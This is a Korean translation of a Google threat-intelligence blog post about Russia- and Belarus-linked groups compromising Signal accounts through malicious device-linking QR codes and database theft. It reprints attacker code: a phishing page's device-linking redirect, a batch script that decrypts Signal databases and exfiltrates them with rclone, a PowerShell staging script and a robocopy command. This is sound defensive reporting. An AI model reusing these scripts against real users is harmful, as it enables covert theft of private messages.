위험 신호: 러시아 연계 위협 그룹, 시그널 메신저 집중 공격
Google Threat Intelligence Group
* 해당 블로그의 원문은 2025년 2월 20일 Google Cloud 블로그(영문)에 게재되었습니다.
작성자: Dan Black
Google 위협 인텔리전스 그룹(GTIG)은 러시아 정보 기관의 관심 대상 개인들이 사용하는 시그널 메신저 계정을 탈취하려는 러시아 정부 연계 위협 단체들의 노력이 증가하고 있음을 관찰했습니다. 이러한 작전 활동의 증가는 러시아의 우크라이나 재침공과 관련하여 민감한 정부 및 군사 통신에 대한 접근 권한을 확보하려는 전쟁 중 요구에 의해 촉발되었을 가능성이 높지만, 시그널을 표적으로 삼는 데 사용되는 전술과 방법이 단기적으로 더욱 보편화되고 우크라이나 전쟁 지역 외부의 다른 위협 단체와 지역으로 확산될 것으로 예상합니다.
군인, 정치인, 언론인, 활동가 및 기타 위험에 처한 커뮤니티와 같은 감시 및 간첩 활동의 일반적인 대상 사이에서 시그널의 인기가 높아짐에 따라, 다양한 정보 요구 사항을 충족할 수 있는 민감한 정보를 가로채려는 적에게 시그널 보안 메시징 애플리케이션은 높은 가치의 표적이 되었습니다. 더 넓게 보면, 이 위협은 유사한 기술을 사용하여 러시아 연계 위협 그룹의 활발한 표적이 되고 있는 WhatsApp 및 Telegram과 같은 다른 인기 메시징 애플리케이션으로도 확장됩니다. 다른 위협 단체들이 유사한 기술을 더 광범위하게 채택할 것으로 예상하여, 우리는 지금까지 사용된 전술과 방법에 대한 공개 경고를 발표하여 대중의 인식을 높이고 커뮤니티가 유사한 위협으로부터 스스로를 더 잘 보호할 수 있도록 돕습니다.
이 활동을 조사하는 데 긴밀하게 협력해 준 시그널 팀에 감사드립니다. Android 및 iOS의 최신 시그널 릴리스에는 향후 유사한 피싱 캠페인으로부터 보호하도록 설계된 강화된 기능이 포함되어 있습니다. 최신 버전으로 업데이트하여 이러한 기능을 활성화하십시오.
시그널의 "연결된 기기" 기능을 악용한 피싱 캠페인
러시아 연계 단체들이 시그널 계정을 탈취하려는 가장 새롭고 널리 사용되는 기술은 시그널을 여러 기기에서 동시에 사용할 수 있도록 하는 합법적인 "연결된 기기" 기능을 악용하는 것입니다. 추가 기기를 연결하려면 일반적으로 QR 코드 스캔이 필요하기 때문에 위협 행위자는 악성 QR 코드를 제작하여 피해자의 계정을 행위자가 제어하는 시그널 인스턴스에 연결하도록 유도합니다. 성공하면 향후 메시지가 피해자와 위협 행위자 모두에게 실시간으로 동기화되어 전달되므로 전체 기기 손상 없이 피해자의 보안 대화를 지속적으로 도청할 수 있습니다.
-
지금까지 관찰된 원격 피싱 작전에서 악성 QR 코드는 그룹 초대, 보안 경고 또는 시그널 웹사이트의 합법적인 기기 페어링 지침과 같은 합법적인 시그널 리소스로 자주 위장되었습니다.
-
보다 맞춤화된 원격 피싱 작전에서는 우크라이나 군에서 사용하는 특수 애플리케이션처럼 보이도록 제작된 피싱 페이지에 악성 기기 연결 QR 코드가 포함되었습니다.
-
원격 피싱 및 악성 코드 전달 작전 외에도 근접 접근 작전에서 악성 QR 코드가 사용되는 것을 확인했습니다. APT44(일명 Sandworm 또는 Seashell Blizzard, 러시아 연방군 총참모부(GU), 일반적으로 GRU로 알려진 특수 기술 주요 센터(GTsST)에 여러 정부가 기여한 위협 행위자)는 전방 배치된 러시아 군대가 전장에서 캡처한 장치의 시그널 계정을 행위자가 제어하는 인프라에 다시 연결하여 후속 악용을 가능하게 했습니다.
특히, 이 기기 연결 작전 개념은 새로 연결된 기기를 통해 계정 손상을 모니터링하는 데 사용할 수 있는 중앙 집중식 기술 기반 탐지 및 방어가 부족하여 낮은 시그니처 형태의 초기 액세스로 입증되었습니다. 성공하면 장기간 손상 사실을 인지하지 못할 위험이 높습니다.
UNC5792: 수정된 시그널 그룹 초대
기기 연결 기능을 사용하여 시그널 계정을 손상시키기 위해 UNC5792(CERT-UA의 UAC-0195와 부분적으로 겹치는 것으로 추정되는 러시아 간첩 클러스터)로 추적되는 한 용의자는 피싱 캠페인에서 전달하기 위해 합법적인 "그룹 초대" 페이지를 변경하여 시그널 그룹으로 예상되는 리디렉션을 행위자가 제어하는 기기를 피해자의 시그널 계정에 연결하도록 제작된 악성 URL로 대체했습니다.
-
이러한 작전에서 UNC5792는 합법적인 시그널 그룹 초대와 동일하게 보이도록 설계된 행위자가 제어하는 인프라에서 수정된 시그널 그룹 초대를 호스팅했습니다.
-
각 가짜 그룹 초대에서 일반적으로 사용자를 시그널 그룹에 가입하도록 리디렉션하는 JavaScript 코드는 새로운 기기를 시그널에 연결하는 데 시그널에서 사용하는 URI(예: "sgnl://linkdevice?uuid=")를 포함하는 악성 블록으로 대체되어 피해자가 UNC5792가 제어하는 기기에 시그널 계정을 연결하도록 속였습니다.


그림 1: UNC5792 제어 도메인 "signal-groups[.]tech"에 호스팅된 수정된 시그널 그룹 초대 예시
function doRedirect() {
if (window.location.hash) {
var redirect = "sgnl://signal.group/" + window.location.hash
document.getElementById('go-to-group').href = redirect
window.location = redirect
} else {
document.getElementById('join-button').innerHTML = "No group found."
window.onload = doRedirect
그림 2: 시그널 그룹으로 리디렉션하는 일반적인 합법적인 그룹 초대 코드
function doRedirect() {
var redirect = 'sgnl://linkdevice
uuid=h_8WKmzwam_jtUeoD_NQyg%3D%3D
pub_key=Ba0212mHrGIy4t%2FzCCkKkRKwiS0osyeLF4j1v8DKn%2Fg%2B'
//redirect=encodeURIComponent(redirect)
document.getElementById('go-to-group').href = redirect
window.location = redirect
window.onload = doRedirect
그림 3: 피해자의 기기를 행위자가 제어하는 시그널 인스턴스에 연결하는 데 사용되는 UNC5792 수정된 리디렉션 코드의 예
UNC4221: 맞춤 개발된 시그널 피싱 키트
UNC4221 (tracked by CERT-UA as UAC-0185) is an additional Russia-linked threat actor who has actively targeted Signal accounts used by Ukrainian military personnel. The group operates a tailored Signal phishing kit designed to mimic components of the Kropyva application used by the Armed Forces of Ukraine for artillery guidance. Similar to the social engineering approach used by UNC5792, UNC4221 has also attempted to mask its device-linking functionality as an invite to a Signal group from a trusted contact. Different variations of this phishing kit have been observed, including:
UNC4221(CERT-UA에서 UAC-0185로 추적)은 우크라이나 군인이 사용하는 시그널 계정을 적극적으로 표적으로 삼는 또 다른 러시아 연계 위협 행위자입니다. 이 그룹은 우크라이나군이 포병 유도를 위해 사용하는 크로피바(Kropyva) 애플리케이션의 구성 요소를 모방하도록 설계된 맞춤형 시그널 피싱 키트를 운영합니다. UNC5792가 사용하는 소셜 엔지니어링 접근 방식과 유사하게 UNC4221은 신뢰할 수 있는 연락처의 시그널 그룹 초대처럼 기기 연결 기능을 위장하려고 시도했습니다. 다음과 같은 다양한 변형의 피싱 키트가 관찰되었습니다.
- 피해자를 시그널에서 제공하는 합법적인 기기 연결 지침으로 위장한 보조 피싱 인프라로 리디렉션하는 피싱 웹사이트(그림 4)
-
기본 크로피바 테마 피싱 키트에 악성 기기 연결 QR 코드가 직접 포함된 피싱 웹사이트(그림 5)
-
2022년 초기의 작전에서 UNC4221 피싱 페이지는 시그널의 합법적인 보안 경고처럼 보이도록 제작(그림 6)


그림 4: UNC4221 제어 도메인 "signal-confirm[.]site"에 호스팅된 악성 기기 연결 QR 코드


그림 5: "teneta.add-group[.]site"에 호스팅된 크로피바의 네트워킹 구성 요소를 모방하는 UNC4221 피싱 페이지. 이 페이지는 사용자에게 "시그널에 로그인"(우크라이나어: "Авторизуватись у Signal")하도록 초대하며, 이는 결과적으로 UNC4221이 제어하는 시그널 인스턴스에 연결된 QR 코드를 표시.


그림 6: UNC4221 제어 도메인 signal-protect[.]host에 호스팅된 시그널 보안 경고처럼 보이도록 제작된 피싱 페이지
특히, 시그널 표적화의 핵심 구성 요소로서 UNC4221은 브라우저의 GeoLocation API를 사용하여 기본 사용자 정보 및 지리적 위치 데이터를 수집하기 위해 PINPOINT로 추적되는 경량 JavaScript 페이로드도 사용했습니다. 일반적으로 이러한 특성의 향후 작전, 특히 표적 감시 작전 또는 기존 군사 작전 지원의 맥락에서 보안 메시지 및 위치 데이터가 공동 표적으로 자주 등장할 것으로 예상합니다.
시그널에서 메시지를 훔치려는 러시아 및 벨라루스의 광범위한 노력
피해자 시그널 계정에 행위자가 제어하는 추가 기기를 연결하려는 표적화된 노력 외에도 여러 알려지고 확립된 지역 위협 행위자들이 Android 및 Windows 기기에서 시그널 데이터베이스 파일을 훔치도록 설계된 기능을 작동하는 것이 관찰되었습니다.
-
APT44는 경량 Windows 배치 스크립트인 WAVESIGN을 작동하여 피해자의 시그널 데이터베이스에서 시그널 메시지를 주기적으로 쿼리하고 Rclone을 사용하여 가장 최근 메시지를 유출하는 것이 관찰되었습니다(그림 7).
-
2023년 우크라이나 보안국(SSU)과 영국 국가 사이버 보안 센터(NCSC)에서 보고한 바와 같이, 각 기관에서 Sandworm에 기인한 Infamous Chisel로 추적되는 Android 악성 코드는 Android 기기의 시그널을 포함한 일련의 메시징 애플리케이션에 대한 로컬 데이터베이스를 포함하여 파일 확장자 목록을 재귀적으로 검색하도록 설계되었습니다.
- 미국과 영국이 러시아 연방 보안국(FSB)의 센터 16에 기인한 러시아 위협 행위자인 Turla는 손상 후 상황에서 경량 PowerShell 스크립트를 작동하여 유출을 위해 시그널 데스크톱 메시지를 준비했습니다(그림 8).
- 러시아를 넘어 벨라루스 연계 UNC1151은 명령줄 유틸리티 Robocopy를 사용하여 나중에 유출하기 위해 메시지 및 첨부 파일을 저장하기 위해 시그널 데스크톱에서 사용하는 파일 디렉터리의 내용을 준비했습니다(그림 9).
if %proflag%==1 (
C:\ProgramData\Signal\Storage\sqlcipher.exe %new% "PRAGMA key=""x'%key%'"";" ".recover" > NUL
copy /y %new% C:\ProgramData\Signal\Storage\Signal\sqlorig\db.sqlite
C:\ProgramData\Signal\Storage\rc.exe copy -P -I --log-file=C:\ProgramData\Signal\Storage\rclog.txt --log-level INFO C:\ProgramData\Signal\Storage\Signal\sqlorig si:SignalFresh/sqlorig
del C:\ProgramData\Signal\Storage\Signal\log*
rmdir /s /q C:\ProgramData\Signal\Storage\sql
move C:\ProgramData\Signal\Storage\Signal\sql C:\ProgramData\Signal\Storage\sql
) ELSE (
C:\ProgramData\Signal\Storage\sqlcipher.exe %old% "PRAGMA key=""x'%key%'"";" ".recover" > NUL
C:\ProgramData\Signal\Storage\sqlcipher.exe %old% "PRAGMA key=""x'%key%'"";select count(*) from sqlite_master;ATTACH DATABASE '%old_dec%' AS plaintext KEY '';SELECT sqlcipher_export('plaintext');DETACH DATABASE plaintext;"
C:\ProgramData\Signal\Storage\sqlcipher.exe %new% "PRAGMA key=""x'%key%'"";" ".recover" > NUL
C:\ProgramData\Signal\Storage\sqlcipher.exe %new% "PRAGMA key=""x'%key%'"";select count(*) from sqlite_master;ATTACH DATABASE '%new_dec%' AS plaintext KEY '';SELECT sqlcipher_export('plaintext');DETACH DATABASE plaintext;"
C:\ProgramData\Signal\Storage\sqldiff.exe --primarykey --vtab %old_dec% %new_dec% > %diff_name%
del /s %old_dec% %new_dec%
rmdir /s /q C:\ProgramData\Signal\Storage\sql
move C:\ProgramData\Signal\Storage\Signal\sql C:\ProgramData\Signal\Storage\sql
powershell -Command "move C:\ProgramData\Signal\Storage\log.tmp C:\ProgramData\Signal\Storage\Signal\log$(Get-Date -f """ddMMyyyyHHmmss""").tmp"
)
그림 7: APT44가 시그널 메시지를 유출하는 데 사용하는 WAVESIGN의 코드 스니펫
$TempPath = $env:tmp
$TempPath = $env:temp
$ComputerName = $env:computername
$DFSRoot = "\\redacted"
$RRoot = $DFSRoot + "resource\"
$frand = Get-Random -Minimum 1 -Maximum 10000
Get-ChildItem "C:\Users\..\AppData\Roaming\SIGNAL\config.json" | Out-File $treslocal -Append
Get-ChildItem "C:\Users\..\AppData\Roaming\SIGNAL\sql\db.sqlite" | Out-File $treslocal -Append
Get-ChildItem "C:\Users\..\AppData\Roaming\SIGNAL\config.json" | Out-File $treslocal -Append
Get-ChildItem "C:\Users\..\AppData\Roaming\SIGNAL\sql\db.sqlite" | Out-File $treslocal -Append
$file1 = $ComputerName + "_" + $frand + "sig.zip"
$zipfile = $TempPath + "\" + $file1
$resfile = $RRoot + $file1
Compress-Archive -Path "C:\Users\..\AppData\Roaming\SIGNAL\config.json" -DestinationPath $zipfile
Copy-Item -Path $zipfile -Destination $resfile -Force
Remove-Item -Path $zipfile -Force
그림 8: Turla가 시그널 메시지를 유출하는 데 사용하는 PowerShell 스크립트
C:\Windows\system32\cmd.exe /C cd %appdata% && robocopy
"%userprofile%\AppData\Roaming\Signal" C:\Users\Public\data\signa /S
그림 9: UNC1151이 유출을 위해 시그널 파일 디렉토리를 준비하는 데 사용하는 Robocopy 명령어
전망 및 시사점
최근 몇 달 동안 여러 위협 행위자의 시그널에 대한 작전적 강조는 가까운 시일 내에 확실히 심화될 보안 메시징 애플리케이션에 대한 증가하는 위협에 대한 중요한 경고 역할을 합니다. 상업용 스파이웨어 산업의 성장과 활발한 분쟁 지역에서 활용되는 모바일 악성 코드 변종의 급증과 같은 위협 환경의 다른 추세와 함께 더 넓은 맥락에 놓일 때, 온라인 활동을 보호하기 위해 보안 메시징 애플리케이션에 의존하는 개인의 민감한 통신을 모니터링하는 데 사용할 수 있는 공격적인 사이버 기능에 대한 명확하고 증가하는 수요가 있는 것으로 보입니다.
시그널 계정을 손상시키려는 광범위한 노력에서 알 수 있듯이, 보안 메시징 애플리케이션에 대한 이러한 위협은 피싱 및 악성 코드 전달과 같은 원격 사이버 작전에만 국한되지 않고 위협 행위자가 대상의 잠금 해제된 장치에 짧게 액세스할 수 있는 근접 액세스 작전도 중요하게 포함합니다. 마찬가지로 중요한 것은 이 위협이 시그널에만 국한되지 않고 최근 몇 달 동안 언급된 여러 러시아 연계 그룹의 표적 우선순위에 포함된 WhatsApp 및 Telegram을 포함한 다른 널리 사용되는 메시징 플랫폼으로 확장된다는 것입니다. 이러한 광범위한 표적 관심의 예는 WhatsApp 계정을 손상시키기 위해 연결된 기기 기능을 악용하려는 COLDRIVER(일명 UNC4057 및 Star Blizzard) 캠페인에 대한 Microsoft 위협 인텔리전스의 최근 블로그 게시물을 참조하십시오.
개인 기기를 표적으로 삼는 정부 지원 침입 활동의 잠재적 대상은 스스로를 보호하는 데 도움이 되는 다음과 같은 관행을 채택해야 합니다.
- 대문자, 소문자, 숫자 및 기호가 혼합된 길고 복잡한 비밀번호를 사용하여 모든 모바일 장치에서 화면 잠금을 활성화합니다. Android는 숫자 전용 PIN 또는 패턴보다 훨씬 더 많은 보안을 제공하는 영숫자 비밀번호를 지원합니다.
-
운영 체제 업데이트를 가능한 한 빨리 설치하고 항상 최신 버전의 시그널 및 기타 메시징 앱을 사용합니다.
-
Google Play Protect가 활성화되어 있는지 확인합니다. Google Play 프로텍트는 Google Play 서비스가 설치된 Android 기기에서 기본적으로 활성화됩니다. Google Play 프로텍트는 앱 및 기기에서 유해한 동작을 확인하고 이러한 앱이 Play 외부 소스에서 제공되더라도 악성 동작을 보이는 것으로 알려진 앱을 사용자에게 경고하거나 차단할 수 있습니다.
-
애플리케이션 설정의 "연결된 기기" 섹션으로 이동하여 무단 기기에 대해 연결된 기기를 정기적으로 감사합니다.
-
합법적으로 보이고 즉각적인 조치를 촉구하는 소프트웨어 업데이트, 그룹 초대 또는 기타 알림을 가장하는 QR 코드 및 웹 리소스와 상호 작용할 때 주의하십시오.
-
가능한 경우 지문, 얼굴 인식, 보안 키 또는 일회성 코드와 같은 2단계 인증을 사용하여 계정이 새 장치에 로그인되거나 연결될 때 확인합니다.
-
표적 감시 또는 간첩 활동에 대해 우려하는 iPhone 사용자는 공격 표면을 줄이기 위해 잠금 모드를 활성화하는 것을 고려해야 합니다
침해 지표
이 블로그 게시물에 요약된 활동을 탐지하고 식별하는 조직을 지원하기 위해 등록된 사용자를 위한 GTI 컬렉션에 침해 지표(IOC)를 포함했습니다.
관련 침해 지표 샘플은 표 1을 참조하십시오.
표 2에서 시그널 메시지를 표적으로 삼기 위해 러시아 및 벨라루스 정부와 연계된 위협 행위자가 사용하는 다양한 행위자, 전술 및 기술에 대한 요약을 참조하세요.